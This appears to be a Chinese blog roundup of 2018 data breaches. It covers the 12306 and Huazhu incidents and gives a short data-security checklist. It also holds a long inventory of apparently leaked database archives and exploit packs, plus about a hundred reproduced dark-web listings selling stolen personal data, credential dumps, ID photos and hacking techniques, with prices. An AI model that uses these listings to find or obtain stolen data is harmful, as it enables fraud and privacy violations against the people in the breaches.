│ 2014-ease-way.com-33541-txt.rar-1019KB
│ 2014.01-安青在线论坛-185428-sql.zip-9.2MB
│ 2014.01-独特论坛-2万-sql.rar-1.0MB
│ 2014.02-美国福布斯杂志-107万-txt.rar-62.8MB
│ 2014.03-上下沙社区-146241-sql.rar-6.3MB
│ 2014.05-soyun社工库-9亿-mssql.bak-29.67GB
│ 2014.05-搜云社工库-9亿-sql.rar-11.10GB
│ 2014.06-迅雷-500万vip-sql.rar-171.5MB
│ 2014.07-部分海关数据-81万-mysql.zip-72.4MB
│ 2014.08-中国校花大赛官网-4029-mysql.zip-1002KB
│ 2014.08-丹阳翼网www.212300.com-70万-txt.rar-25.1MB
│ 2014.08-企业400号段数据-mssql.rar-44.4MB
│ 2014.08-台湾某财经电视台数据库-2014-txt.zip-52KB
│ 2014.08-房产网-11万-sql.7z-5.8MB
│ 2014.09-Gmail-493万-txt.zip-63.7MB
│ 2014.09-google-50万-txt.7z-28.7MB
│ 2014.09-mail.ru邮箱地址-466万-txt.7z-29.3MB
│ 2014.09-yandex.ru-100万-txt.zip-15.4MB
│ 2014.09-我拉网55.la-343万-sql.rar-74.3MB
│ 2014.10-京东-40万-txt.rar-4.0MB
│ 2014.11-台湾yahoo邮箱-105万.rar-11.0MB
│ 2014.12-12306-13万-txt.7z-2.55GB
│ 2014.12-phpinfo.me社工库-sql.7z
│
├─2015
│ 2015.07-AshleyMadison-3700万-mysql-9.69GB
│ 2015.04-胡歌论坛小部分-1万-csv.zip-313KB
│ 2015.05-AdultFriendFinder-350万.zip-305.8MB
│ 2015.06-手机数据-50万-txt.zip-566KB
│ 2015.07-荆州生活网会员-1486-csv.zip-5.9MB
│ 2015.10-000webhost-1300万-txt.tar.gz-331.4MB
│ 2015.10-000wehost-100万-sql.rar-13.8MB
│ 2015.11-rhs_users-2885-sql.rar-266KB
│ 2015.12-欧淘网用户数据-8453-csv.zip-972KB
│
├─2016
│ 2016.04-网易52G数据库-5亿-txt-51.52GB
│ 126.zip-6.74GB
│ 163.Com_网易.zip-21.0MB
│ 163com.zip-3.60GB
│ 163mail1.zip-4.48GB
│ 163mail2.zip-4.43GB
│ 163mail3.zip-4.49GB
│ 163mail4.zip-4.74GB
│ 163mail5.zip-4.49GB
│ 163mail6.zip-4.53GB
│ 163mail7.zip-4.60GB
│ 163mail8.zip-4.75GB
│ 1632.zip-4.65GB
│ 网易数据库密码是baidu.txt-19B
│ 2016.01-立免网会员数据-118万-sql.zip-77.8MB
│ 2016.02-可乐云盘colafile-4349-sql.rar-227KB
│ 2016.04-卡塔尔国家银行QNB-csv.zip-509.6MB
│ 2016.04-土耳其公民数据mernis-5000万-sql.gz-1.45GB
│ 2016.04-某网狐棋牌平台用户数据-1642-csv.zip-281KB
│ 2016.05-乌云数据库(7z解压2次)-41562-json.7z-42.6MB
│ 2016.05-河北建行数据库.tar.gz-142.2MB
│ 2016.06-我是学生网-42万-sql.7z-16.6MB
│ 2016.06-立免网-120万-sql.rar-68.3MB
│ 2016.08-Gmail!Hotmail!Yahoo!-30万-txt.rar-3.8MB
│ 2016.11-GitHub-197万-json.tgz-204.0MB
│
├─2017
│ 2017.02-Cellebrite-923.9MB
│ 2017.03-宝妈网-300w-excel.rar
│ 2017.04-189邮箱-6万-txt.zip
│ 2017.11-BreachCompilation-14亿-txt.torrent
│ 2017.11-BreachCompilation纯密码-10.12亿-txt.torrent
│ 2017.11-14亿邮箱明文密码-11.67GB
│
├─2018
│ 2018.10-mothers-332万-sql.zip
│
├─其他
│ 5nb黑客榜网站源码.zip-33.1MB
│ 51cto-215万-txt.rar-65.1MB
│ 90家族数据库.rar-41KB
│ 92hack.zip-6.2MB
│ 2013.10-网易2.4亿密正.rar-2.54GB
│ 2015.03-大道团购-sql.rar-585KB
│ admin163裤子.zip-31KB
│ av-tw.net裤衩子.rar-7.4MB
│ dag.cust.edu.cn.rar-3KB
│ huigezi-21829-sql.rar-1.0MB
│ nindonCMS通杀漏洞利用.zip-316KB
│ photography_ladies-2383-sql.rar-108KB
│ phpweb通杀.zip-373B
│ QQ明文密码18000条.rar-420KB
│ wooyun-4553-txt.rar-131KB
│ zouwurong1314(黑狼黑客论坛数据库).rar-3.1MB
│ 云南大学旅游文化学校.zip-262B
│ 交通运输.zip-257B
│ 南京广播大学等一系列资料.zip-413B
│ 南通.zip-214B
│ 岳西365团购网SQL数据库.rar-102KB
│ 左巴网站.zip-240B
│ 德源大裤衩子.zip-616KB
│ 性吧sex8-54849-sql.rar-2.0MB
│ 权志龙官网漏洞.rar-882KB
│ 济宁14.zip-219B
│ 湖北某专修学院学生-1800-htm.rar-83KB
│ 漏洞.zip-615KB
│ 灰鸽子论坛数据.htm-28.4MB
│ 美客数据库.rar-1.9MB
│ 觉驰官网网站源码and裤子wwwroot.zip-56.8MB
│ 赵又廷网站数据-2099-xml.rar-185KB
│ 越南N所大学数据库解压密码.rar-32.7MB
│ 陕西咸阳师范学院办公处.zip303B
│
├─工具软件
│ bget_share.rar-4.3MB
│ Hash.exe-156KB
│ HiddenServices.xlsx-1.9MB
│ LinkCreator.exe-264KB
│ Resilio-Sync_x64.exe-19.1MB
│ ResilioSync许可证.btskey-3KB
│ SublimeText.rar-20.0MB
│ tsetup.1.4.0.exe-22.1MB
│ ZeroNet-win-dist.zip-15.7MB
│ 小人国企业名录.rar-2.1MB
│
档案袋┼─QQ
│ 3万QQ邮箱和密码数据.rar-529KB
│ 90万7位QQ号账号密码.7z-13.1MB
│ 7000万数据库名单QQ号和邮箱.rar-256.9MB
│ 7000万数据库名单和qq邮箱.rar-256.9MB
│
├─业主
│ 2006年上海高档楼盘业主名录(90万).rar-22.9MB
│ 2013-郑州小区业主信息.zip-188.MB
│ 业主-北京-100万.rar-22.6MB
│ 全国业主.rar-1.94GB
│ 全国高档业主大全.rar-560.3MB
│ 北京写字楼大全167165.rar-26.0MB
│ 北京各小区名录18万条.rar-6.1MB
│ 北京楼盘大全.rar-63.4MB
│ 北京高档公寓别墅.rar-59.5MB
│ 深圳业主信息100w+.zip-224.5MB
│ 深圳业主名单7.56万.rar-2.8MB
│ 深圳业主大全(约260个楼盘)137099.rar-121.3MB
│ 重庆业主.zip-121.3MB
│ 重庆楼盘.rar-2.2MB
│
├─企业名录
│ 20多个外国企业在华投资企业名录.rar-8.0MB
│ 2012年数据.rar-68.0MB
│ 2013工商注册企业名录1-4月.rar-15.3MB
│ 2013年7月全国工商注册.zip-8.9MB
│ 全国1200万企业名录.rar-391.1MB
│ 全国2009年工商名录.rar-20.6MB
│ 全国2009年工商名录.zip-27.5MB
│ 全国企业工商名录大全(解压后10G).rar-2.43GB
│ 全国大型集团名录.rar-211.1MB
│ 北京企业名录大全.zip-249.1MB
│ 北京十大中高端人群名录.zip-164.6MB
│ 北京十大有钱人名录.zip-562.8MB
│ 北京十大理财名录.zip-132.8MB
│ 工商注册(解压后5.39G).rar-1.29GB
│ 工商资料.rar-1.81GB
│ 广州总经理.rar-769KB
│ 新北京市60万.rar-84.8MB
│ 最新企业名录.rar-92.3MB
│ 最新名录.zip-950.9MB
│ 河南企业名录.rar-182.9MB
│ 湖北省武汉市企业名录7.1万条.rar-12.9MB
│ 省市名录.rar-1.30GB
│ 精准版2007老板手机(全国).rar-16.6MB
│ 行业名录.rar-1.69GB
│ 香港企业名录9万条.rar-8.6MB
│
├─内部通讯录
│ 腾讯通讯录.xls
│ 腾讯QQ.xls
│ 芒果网通讯录.xls
│ 淘宝List.xls
│ 淘宝通讯录.xls
│ 阿里巴巴SH.xls
│ 阿里巴巴中国-全.xls
│ 百度内部员工联系方式.xls
│ 上海盛大网络发展有限公司list.xls
│ 联想中国集团所有通讯录.xls
│ 万科各分公司通讯录.xls
│ 51job全国内部通讯录.xls
│ 51job20000多.xls
│ 51job内部通讯录.xls
│ 263网络集团建达大厦座席名单.xls
│ 教务部通讯录.xls
│ Adidas name list.xls
│ Airpax电子通讯录.xls
│ Amway广州总公司.xls
│ Colgate高露洁广州总部2.xls
│ Compaq 广州Branch销售与技术支持.xls
│ Dell全国,广州,上海,北京.xls
│ DHL集团上海公司内部通讯录 .xls
│ DHL集团公司内部通讯录.xls
│ DSM内部人员通信.xls
│ Flextronics珠海4.xls
│ IBM中国采购中心.xls
│ IT江湖重庆通讯录V2-0.xls
│ I零售行业---永乐电2月份电话本1.xls
│ Motorola-South China Tel List201205.xls
│ OLAY玉兰油内部人员通信.xls
│ Respondents Contact Name List As of May 18 204.XLS
│ samsung三星-SDS内部员工通讯录.xls
│ TCL公司各省财务部联系方式.xls
│ TCL国际电工国内办事处通讯录.xls
│ Tel-Ericssion爱立信北京.xls
│ Telindus北京边缘网络解决方案.xls
│ TOM全员工通讯录.xls
│ TOM科技频道联系表14条.xls
│ UT斯达康通讯录.xls
│ Wicresoft Telephone Directory-.xls
│ 三达(厦门)环境工程有限公司员工通讯录.xls
│ 上海大微国际货运有限公司员工通迅录.xls
│ 上海AsztraZeneca2009.xls
│ 上海苏州无锡张家港天津南京等地知名化工企业质量经理主管list.xls
│ 下属企业通讯录.xls
│ 东软集团通讯录.xls
│ 中关村在线编辑部通讯录.xls
│ 中国民生银生厦门分行信用卡营销中心通讯录.xls
│ 中国移动通信集团贵州省移动通信有限责任公司通讯录.xls
│ 中国移动集团,省相关负责人通讯录.xls
│ 中央、部分省市及境外记者.XLS
│ 中建五局温州分公司通讯录2010-11.xls
│ 中标公司通讯.xls
│ 乐百氏集团通讯录Tel_Directory_Robust_Group1.xls
│ 伸缩缝施工单位通讯录13.xls
│ 修水县地税局机关个通讯录.xls
│ 光明网通迅录.xls
│ 全国媒体通讯录.xls
│ 内蒙西部区各盟市移动员通讯录.xls
│ 分众传媒中国国内各部门通讯录.xls
│ 北京太平洋电话联系表.xls
│ 北京注册会计师协会工会委员通讯录.xls
│ 北京港湾网络本部员工通讯录.xls
│ 北方国际工程建设有限公司通讯录 .xls
│ 华制全国通讯录0422.xls
│ 华制总部联系方式带QQ的.xls
│ 华制渠道部通讯录090611.xls
│ 华飞显示系统有限公司员工通迅.xls
│ 南昌大学抚州医学分院干部通讯录.xls
│ 博世通讯录.xls
│ 厦门国税系统通讯录.xls
│ 厦门金智软件科技有限公司通讯录.xls
│ 各大门户网站通讯录.xls
│ 嘉里大通华南区部分人员通讯录.xls
│ 国税系统通讯录.xls
│ 国药集团药业股份有限公司全国销售.xls
│ 多企业通讯.xls
│ 多美滋INC 员工通迅.xls
│ 天天快集团上海公司内部通讯录.xls
│ 宁波麦克斯威国际物流有限公司员工通讯录.xls
│ 安森美半导体深圳.xls
│ 实践家管理咨询(上海)有限公司 .xls
│ 富士通list.xls
│ 广东联通通讯录.xls
│ 广州分公司联系方式表.xls
│ 广州本田 客户资料表xls版.xls
│ 德国b'braun公司员工通迅.xls
│ 悠视网公司通迅录update07-04员工版.xls
│ 惠氏通讯录1.xls
│ 我的HR生涯通讯录(排名不分先后,按提供信息的顺序进行排列).xls
│ 散杂货EDI联系人 .xls
│ 新电信息科技苏州有限公司金融软件.xls
│ 新疆移动通信公司通讯录.xls
│ 施恩全国通迅录.xls
│ 施耐德苏州机柜系统.xls
│ 正信集团本部员工通讯.xls
│ 汉得通讯录.xls
│ 江苏通讯行业客户联系方式电信、移动、联通.xls
│ 海南天涯在线通讯录2009年04月.xls
│ 海普公司员工通讯录.xls
│ 深圳佳兆业集团总部2011年通讯录.xls
│ 深圳分公司通讯录聚成.xls
│ 深圳宝安区龙华街道教育系统行政员通讯录211.xls
│ 深圳家具研究开发院内部通讯录.xls
│ 清华得实公司通讯录.xls
│ 湖北电源工程师通讯录12.xls
│ 特美嘉办公设备中山有限公司.xls
│ 电通联系表0810.xls
│ 省委创新农村工作机制协调小组办公室工作人员438.xls
│ 知名跨国物流公司高管名单2.xls
│ 知名跨国物流公司高管名单4.xls
│ 神州数码通讯录.xls
│ 福建地区科协系统通讯一览表92.xls
│ 立领国际物流(宁波)有限公司通讯录.xls
│ 箭牌09 Telephone List.xls
│ 芙蓉区教育局通讯录.xls
│ 营销中心通讯录.xls
│ 葛兰素史克通迅录.xls
│ 计算机-IBM CHINA PROCUREMENT140手机邮件.XLS
│ 轩尼诗.xls
│ 银宝公司通讯录.xls
│ 长泰县教育局工作员.xls
│ 飞亚照明员工通迅.xls
│ 飞利蒲深圳list .xls
│ 龟苓膏事业部通讯录.xls
│
├─特色内容
│ 117-120届广交会国外采购商完整名录
│ 2018届北大EMBA学生简历册
│ 2018年最新小姐信息带照片
│ 信用卡100-300万额度爆破秘籍
│ 史上最大数据泄露:维基解密公布CIA黑客兵工厂
│ 银行内部数据550万条
│ 银行数据
│ 11万7千个嫩模信息.zip
│ 2013年二建名单学生家长数据.rar
│ 全国培训公司名单.zip
│ 出国旅游签证名单-4967条.rar
│ 北京高端手机客户24万条.rar
│ 政府官员数据.rar
│ 政府官员数据1.rar
│ 电视购物数据.rar
│
├─移动
│ 2006年广州移动VIP客户68890.rar
│ 2014移动白名单9.24.rar
│ 上海移动-VIP用户16.1万.rar
│ 东莞全球通64万.rar
│ 东莞联通.rar
│ 中山全球通264439.rar
│ 佛山全球通922035.rar
│ 佛山全球通各区.rar
│ 内蒙古省vip用户18万.rar
│ 北京全移动精密数据.rar
│ 北京移动客户资料.rar
│ 北京移动总库1300万精密数据.rar
│ 南宁移动数据 18200.rar
│ 密码32103210上海移动VIP.rar
│ 广东gd5800万神州行动感地带=2.rar
│ 广东gd5800万神州行动感地带=3.rar
│ 广东东莞联通.rar
│ 广东中山全球通264439.rar
│ 广东佛山全球通922035.rar
│ 广东广州全球通.rar
│ 广东广州联通.rar
│ 广东广州联通724994.rar
│ 广东惠州全球通.rar
│ 广东汕头全球通262706.rar
│ 广东汕头移动VIP-238万.rar
│ 广东汕头联通20万.rar
│ 广东江门全球通289489.rar
│ 广东深圳全球通.rar
│ 广东深圳全球通1.rar
│ 广东清远16万全球通(有消费).rar
│ 广东珠海全球通.rar
│ 广东珠海全球通217155.rar
│ 广东珠海移动VIP-136万.rar
│ 广东移动女性话费地址808172.rar
│ 广东肇庆19万全球通.rar
│ 广东茂名全球通.rar
│ 广东韶关全球通155765.rar
│ 广东韶关移动入网地址155765.rar
│ 广州全球通.rar
│ 广州联通.rar
│ 广西南宁移动数据.rar
│ 惠州全球通.rar
│ 无锡.rar
│ 杭州全球通总库37.8万.rar
│ 杭州移动.rar
│ 武汉全球通101万.rar
│ 汕头全球通262706.rar
│ 汕头联通20万.rar
│ 江西移动122W.rar
│ 沈阳移动 VIP 55万.rar
│ 河北移动全球通卡-31414条.rar
│ 河北移动金卡25W.rar
│ 浙江嘉兴移动联通名录1.91G.rar
│ 深圳全球通.rar
│ 深圳全球通1.rar
│ 湖南12年移动大库.rar
│ 湖南移动VIP77万.rar
│ 珠海全球通.rar
│ 福建-福州移动客户.rar
│ 移动内蒙古省vip用户18万.rar
│ 联通-苏州市-用户资料28.1万.rar
│ 茂名全球通.rar
│ 辽宁省全球通用户20万.rar
│
├─股民
│ 0-50万资金开户股民名录1万家.rar
│ 07年全国股民65万.rar
│ 08年股民.rar
│ 70万全国股民资料.rar
│ 295万股民.rar
│ 300万老股民.rar
│ 2006年前股民44.8万.rar
│ 2007年5-6月份60万全国股民名单性别电话.rar
│ 2007年110万股民.rar
│ 2007张氏趋势股民147386.rar
│ 375051证券大客户.rar
│ 上海股民387242.rar
│ 全国股民215万.rar
│ 北京股民13641.rar
│ 广州股票大户138836.rar
│ 操盘股民41171.rar
│ 股民-全国-证券代理公司客户20万.rar
│ 证券、股民.rar
│ 贵金属10万.rar
│
├─身份证
│ 客户身份证照片资料(241套).rar
│ 正反+手持+当天报纸(217套).rar
│ 正反照+手持+学生证(1000套).zip
│ 身份证正反照(5397套).rar
│ 身份证正反照+手持(1617套).rar
│ 身份证正反照同框(1437套).rar
│
├─车主
│ 2005年下半年名车车主.rar
│ 2005年车主5--12月.rar
│ 2012车管所2000万车主库(解压后14G).rar
│ 2013年最新车主.rar
│ 上海汽车名单新14万.rar
│ 上海车主名录18699.rar
│ 上海高档车主1万.rar
│ 佛山车主1W.rar
│ 全国车主100w+20W意向购车+40-解压hunter.rar
│ 全国车库大全.rar
│ 全国车库大全(解压后9.67G).rar
│ 北京车主总库共52万.rar
│ 厦门车主.rar
│ 嘉兴车主.rar
│ 奥迪车主.rar
│ 山东济南车主资料30W.rar
│ 山东车主250W提取(详细分地区).rar
│ 广州8月车主.rar
│ 广州车主.rar
│ 广州车主总73万.rar
│ 广州车主资料-239262.rar
│ 建设银行车主22W.rar
│ 杭州14万车主.rar
│ 杭州市车主21.9万.rar
│ 江苏车主号码名录.rar
│ 济南车主12万.rar
│ 深圳车主1W.rar
│ 深圳车主7W.rar
│ 深圳车主60万.rar
│ 深圳车主名录-74080.rar
│ 深圳车主名录20W.rar
│ 深圳高档车主.rar
│ 深圳高档车主名录_精准版.rar
│ 车主.rar
│ 车主包.rar
│ 车单.rar
│ 车管所名单.rar
│ 金华车主资料2w.rar
│ 长沙车主资料.65920.rar
│ 长沙车主资料.rar

1×02:配个图

2018年数据泄露汇总

2×01:最近的12306的事件:

疑似撞库导致的数据泄露,毕竟数据并不多,700多万条

2018年数据泄露汇总
2018年数据泄露汇总

下图是12306的原话 总之改密码就对了 通过官方正规渠道进行购票,避免非正常渠道购票带来的风险

2018年数据泄露汇总

3×01:华住酒店5亿数据泄露

这里借用freebuf的原话
https://www.freebuf.com/company-information/182475.html

这次数据泄露涉及到华住旗下所有酒店:汉庭、美爵、禧玥、漫心、诺富特、美居、CitiGO、桔子、全季、星程、宜必思尚品、宜必思、怡莱、海友。

泄露的数据包含用户注册资料,入住登记信息,开房记录三类总共约5亿条用户信息,内容主要为姓名、身份证信息、手机号、卡号、入住时间、离开时间、房间号、消费金额等信息。

1.png

据了解,疑似华住公司程序员将数据库连接方式上传至github导致其泄露,黑客称在8月14日进行脱库,此数据库连接方式在20天前上传至github,时间上大致吻合。目前,该批数据已经流向黑市出售,标价8个比特币,大约37万人民币。

一句话,华住集团的数据被脱了个精光!影响巨大!

作为国内网络安全行业的领军厂商,你要问我们对这事怎么看?我们的反应是:痛心!非常痛心!

为什么呢?因为这一切完全可以避免。

2018年数据泄露汇总

如果上面数据泄露的疑似原因是确定的,那么我们不禁要问:

为什么有程序员会把数据库的连接方式上传至github?

为什么没有对数据库特权用户行为进行限制?

为什么没有对数据库的脱裤过程进行监视并阻断从而减少泄露数据量?

为什么没有对用户的敏感信息加密或脱敏?

然而发生的已经发生,华住被脱光的事实无法改变。

2018年数据泄露汇总

但是,你可以改变!如果你的企业也有个人信息或商业信息的敏感数据,如果你不想遭遇华住的窘境,赶紧做如下查:

1.       是否有数据安全管理制度与流程;

2.       是否梳理了关键敏感数据;

3.       是否采用有效的数据库审计与数据库防火墙方案;

4.       是否采用有效的数据泄露防护方案;

5.       是否有相关的追溯措施;

4:下面内容来源于暗网仅作参考疑似泄漏

D 发布时间 区域 发布人 标题 单价 保护期 关注度
1 10-12 05:42

jun0517
刚刚脱库2个博彩站点,还热乎着,需要的赶紧来撩
0.0158 15天 2707 打开
2 09-20 07:59

jun0517
打包手里博彩资源共计2000W左右,时间是14-18年 资料信息齐全
0.26788 15天 2701 打开
3 12-26 19:50

mufeng
物流数据110w
0.37503 15天 467 打开
4 10-19 21:00

dominate
南京身份信息整理
0.04822 15天 4435 打开
5 09-10 14:33

fishdepthsnetwork
12306数据13万数据姓名身份证密码手机号邮箱
0.00047 15天 7628 打开
6 10-19 09:23

fuck666
部分政府官员信息 低价处理
0.26788 15天 3476 打开
7 09-13 14:05

yb1214
某平台网站泄露100万用户手机号+密码 送350万账号+密码 带查询筛选工具 自动发货
0.00126 15天 7253 打开
8 12-24 12:06

yb1214
犯罪跑路隐蔽资料 情报获取自保手段等 自动发货
0.00214 15天 554 打开
9 11-05 10:10

tsingfeng
全国董事长17万条 低价出 绝对物超所值
0.27619 15天 7067 打开
10 11-22 23:37

yuhong
2008-2018社工库大全 1T资源
0.02679 15天 3616 打开
11 12-30 09:34

qqhuasec
新出炉博彩数据,150万博彩数据一手需要的过来拿
0.26788 15天 62 打开
12 09-24 16:39

fishdepthsnetwork
全国84万车主加32W购车意向客户
0.00429 15天 9597 打开
13 09-27 21:19

theeyeoftruth
151W博彩数据包含姓名电话邮箱ID代理ID
0.0067 15天 11089 打开
14 10-09 01:35

12345012345
4.1W全国股民信息数据
0.00395 15天 11362 打开
15 10-14 19:25

jiaoyichang
6000条博彩数据8月提取
0.00474 15天 10779 打开
16 10-19 22:38

lelenizaina
8258条全国夫妻交友换妻信息
0.00316 15天 10222 打开
17 11-05 22:22

dazhong
18年8月9月银行卡数据姓名开户行卡号密码证件号手机号后三位有效期
0.01286 15天 8658 打开
18 11-05 23:30

abraham
6.4万条各行业外贸大客户资料名单
0.00616 15天 6385 打开
19 11-06 18:45

tankard
3200条融道网贷款客户姓名电话数据
0.00237 15天 6933 打开
20 11-07 00:31

easter
5000家游戏公司通讯录联系方式
0.00161 15天 5618 打开
21 11-08 14:01

lei6ezse2tm
51Job前程无忧个人简历数据500W左右
0.00161 15天 7183 打开
22 11-07 00:25

anthony
1100多条游戏行业通讯录数据
0.00161 15天 5306 打开
23 11-05 22:29

caiden
900条姓名手机号银行卡号地址
0.00158 15天 5457 打开
24 09-06 16:02

men111111
公司数据库导出的QQ八千万数据
0.00348 15天 11823 打开
25 10-16 03:13

daisycutter
160万条 智联招聘数据库
0.00395 15天 7012 打开
26 10-09 01:41

12345012345
600条各大银行高管通讯录
0.00107 15天 696 打开
27 11-25 20:52

dudu123
2018年一批社工查找资料大全网站
0.00316 15天 841 打开
28 12-30 05:39

qwqdanchun
优酷近亿数据+12306的60万数据+陌陌3000万打包
0.02679 15天 138 打开
29 10-02 12:18

marianatrench
18年6月出的14亿40G综合库
0.00126 15天 4175 打开
30 11-19 17:19

fuzeiscoming
自动发货 存量网贷借款客户超详细数据7w8000条
0.00158 15天 3781 打开
31 12-11 21:19

mike515
华住数据单出,有意者来!
0.00348 15天 955 打开
32 12-30 02:10

soke888
全国1万多个特服点
0.00268 15天 140 打开
33 12-30 01:55

soke888
30W尚客优酒店数据
0.00268 15天 134 打开
34 10-10 08:02

hunterb
$10低价25万份女性购物数据
0.00268 15天 5004 打开
35 12-19 22:19

hackgirl
60W+可用于母婴销售客户数据|非自动发货
0.01607 15天 613 打开
36 12-25 01:05

bocaidajun
出售 棋牌 捕鱼 龙虎 手游数据
0.01875 15天 394 打开
37 11-06 09:27

njbkfzm2
盛大4800w数据|低价|自动发货|高质量邮箱+密码
0.00536 15天 3842 打开
38 09-23 03:21

fishdepthsnetwork
各大银行大额客户21.2万条
0.00316 15天 10463 打开
39 09-23 21:50

besafeallthetime
一千万条车主信息
0.15799 15天 9194 打开
40 10-26 00:26

cs888888
出售:详细医师资料
0.01929 15天 3924 打开
41 12-08 18:02

jiaowoyuge
网贷资源,全国的,没有指定地区
0.01956 15天 1528 打开
42 11-07 12:05

thanky
纯一手 区块链用户数据 2018年10月最新 -TY数据
0.00158 15天 4704 打开
43 12-15 11:05

hackgirl
著名投资人联系方式+著名风投公司名录
0.00268 15天 376 打开
44 11-14 17:35

thanky
纯一手 菠菜充值频繁用户11月10号更新-TY数据
0.00379 15天 2271 打开
45 12-29 22:09

hanmmth
网贷数据5500万条(只出1份)
0.00536 15天 145 打开
46 10-31 15:51

usagod95
今日头条抖音内部通讯录 自动发货
0.15751 15天 2352 打开
47 12-29 22:07

xxyyaa123
网贷,最新网贷数据--每周只出一次不重复发售
0.00027 15天 128 打开
48 09-11 10:41

ff98sha
18年6月出的14亿40G综合库 文本格式有查询脚本
0.00321 15天 9479 打开
49 10-25 03:43

hunterb
广交会历届采购商名录-2018年10月25号整理-低价-自动发货
0.01339 15天 3650 打开
50 12-29 21:22

xxxyyy121212
云上贵州5月份数据171W条。
0.01339 15天 201 打开

51 11-12 08:13

hunterb
2018最新窃取后台出款博彩数据-6.8W条-自动发货
0.02357 15天 1763 打开
52 12-24 09:42

dujiadata
江西移动集客数据-整理后610000条
0.04018 15天 415 打开
53 11-21 20:39

freenet
北京业主15W,附送1711条18年初股民
0.0067 15天 3318 打开
54 12-24 16:59

localbitcoins
低价出50套手持/正反面身份证,自动发货
0.00268 15天 260 打开
55 09-10 01:31

yb1214
便宜处理2000万开房数据csv格式姓名+地址+邮箱+电话+时间等
0.00079 15天 10807 打开
56 09-29 11:44

caonimadrh74
深圳业主资料-深圳各小区业主资料(上百万资料)
0.00158 15天 7740 打开
57 10-02 23:36

theeyeoftruth
伴游网23536名伴游数据2018年7月提取
0.00161 15天 5359 打开
58 09-10 01:35

yb1214
16亿邮箱+密码 数据来源综合各大平台的数据库 碰库必备
0.00079 15天 9162 打开
59 11-08 09:04

localbitcoins
宝妈网-51job-深圳业主-全国车主,资源合集,自动发货
0.02679 15天 4815 打开
60 12-16 15:14

qazwsx963852
15万条全国高端伴游+楼凤小姐信息(部分已验证)
0.00268 15天 388 打开
61 11-16 21:01

window
1200万全国各省各城市企业名单(低价)
0.00161 15天 3557 打开
62 12-24 00:50

34032rj09jh234r
5000条博彩数据实时数据
0.02679 15天 768 打开
63 11-27 11:48

yuhong
2018年2000万条物流运单号 2000美金
0.53576 15天 3257 打开
64 08-28 17:29

xchina
珠宝行业翡翠王朝APP 2.2w用户数据(手机号)
1.07153 15天 1656 打开
65 10-22 10:54

test2019
一手330万宝妈手机联系方式可用于母婴营销
0.00316 15天 4887 打开
66 12-22 20:15

wwxxyyzz
网贷数据--实时数据,技术团队-黑客提取;你想要的我都有
0.00027 15天 504 打开
67 10-07 00:53

buxiao
全网最低 200W身份证号 0.0005BTC
0.00079 15天 6019 打开
68 12-07 11:36

deepmobao
打包出售120万棋牌博彩数据,自动发货
0.00268 15天 888 打开
69 12-29 09:29

hackgirl
低价-12306数据60W条+所谓陌陌数据3100w+游戏行业通讯录
0.01337 15天 1058 打开
70 11-29 15:33

liukai998
网贷的朋友看过来贷款数据今年的数据需要的赶快拍!
0.03884 15天 1175 打开
71 12-16 22:49

vaaabbb
两万多条总裁班通讯录,低价打包出售,物超所值----自动发货
0.02652 15天 247 打开
72 12-25 14:04

aa2116033
全国旅客机票订票数据,每天一万条
2.67882 15天 809 打开
73 10-16 13:13

window
自动发货 低价出14亿明文密码40亿数据库
0.00214 15天 7118 打开
74 12-27 15:18

owenryan
新鲜出炉极品一手网贷实时数据,团队27号亲测100条出5单
0.01554 15天 499 打开
75 12-28 23:54

hackgirl
全网最全简历集合-压缩包31个G-许多有头像-(智联-前程无忧-51job-猎聘等等)
0.05357 15天 297 打开
76 12-29 11:01

dianbao12358
亚马逊买家信息历史数据 五万个 打包500人民币
0.02679 15天 149 打开
77 12-14 23:52

dxddla
独家!你我贷贷款数据65000条
0.04018 15天 1618 打开
78 12-29 10:42

qq938455259
出售实时网贷数据
0.2869 15天 170 打开
79 09-14 11:43

hecan666
网易52g数据0.001个比特币
0.00158 15天 1098 打开
80 11-22 14:27

njbkfzm2
160w左右的博彩老数据|低价|非自动发货
0.00938 15天 1467 打开
81 12-29 10:20

a595456656
500条28号刚隔夜网贷数据 便宜出售
0.00536 15天 156 打开
82 12-29 10:10

a595456656
200条12-28刚隔夜网贷数据 便宜出售
0.00402 15天 132 打开
83 11-04 21:35

hunterb
企业名录合集-1500w企业名录已整理+1200w企业法人详细信息等
0.02679 15天 2697 打开
84 09-08 23:00

zozpp000000
可以使用支付宝,微信,PayPal,礼品卡,信用卡等购买比特币的网站
0.00142 15天 5746 打开
85 12-29 09:55

vxaa77188100
一手网贷、车主、博彩、宝妈数据
0.03857 15天 140 打开
86 12-28 15:26

db8888
服务器全球的服务器 美国 香港 菲律宾
0.02679 15天 257 打开
87 12-29 09:41

db8888
DNS劫持技术,网页跳转技术
0.00268 15天 166 打开
88 12-11 14:56

davidroman
出售全新一手车贷数据含后台,共十万条,仅售一份!
0.96437 15天 1240 打开
89 12-25 10:54

blackangle
重庆某眼镜公司客户一手资料10万条,各年龄段都有
0.01554 15天 283 打开
90 10-29 15:35

jianzuihou
福利 两届全国校花比赛信息 4000多条
0.00032 15天 1813 打开
91 12-27 14:43

1524872553
某民营门诊全库 50G 资料很详细
0.80365 15天 423 打开
92 10-14 19:25

jiaoyichang
2014年银行贷款毕业生名单1358条
0.00107 15天 1076 打开
93 09-10 02:33

yb1214
低价出售网易数据库带邮箱账号密码最全27个g 碰库必备
0.00079 15天 4549 打开
94 10-10 18:35

hunterb
$10低价处理约7G压缩包LinkedIn领英数据(邮箱用户名密码)
0.00265 15天 1873 打开
95 09-10 01:23

yb1214
低价处理12306官方数据库10万邮箱-密码-姓名-身份证-手机
0.00079 15天 5509 打开
96 11-10 16:58

zhaowomai
股民资源,手机号,姓名,地址,身份证号,第三方存管银行
0.01393 15天 3873 打开
97 12-19 12:44

powerz
自动发货--一个比特币的交易----股票配资67个站65000条左右
0.99813 15天 266 打开
98 12-29 00:12

dxddla
独家,深圳某大型银行住房贷款3000条!
0.02679 15天 145 打开
99 09-23 03:36

fishdepthsnetwork
80W上海银行客户姓名电话身份证地址
0.00632 15天 6091 打开
100 11-19 20:39

window
某投资网2.3万身份信息
0.01554 15天 3268 打开

101 12-11 17:54

window
139邮箱,部分密正
0.02143 15天 831 打开
102 12-12 01:37

window
13万信息数据
0.01768 15天 802 打开
103 10-17 12:32

window
自动发货 低价出1500w淘宝泄漏的老数据
0.00161 15天 5541 打开
104 10-17 13:42

window
自动发货 低价90w7位qq密码帐号老数据
0.00134 15天 7618 打开
105 10-22 18:28

window
100套手持身份证低价出
0.0008 15天 6076 打开
106 11-16 15:04

window
808万国内邮箱(大量qq邮箱)
0.02679 15天 4809 打开
107 11-16 15:43

window
10万个美女QQ
0.00268 15天 3367 打开
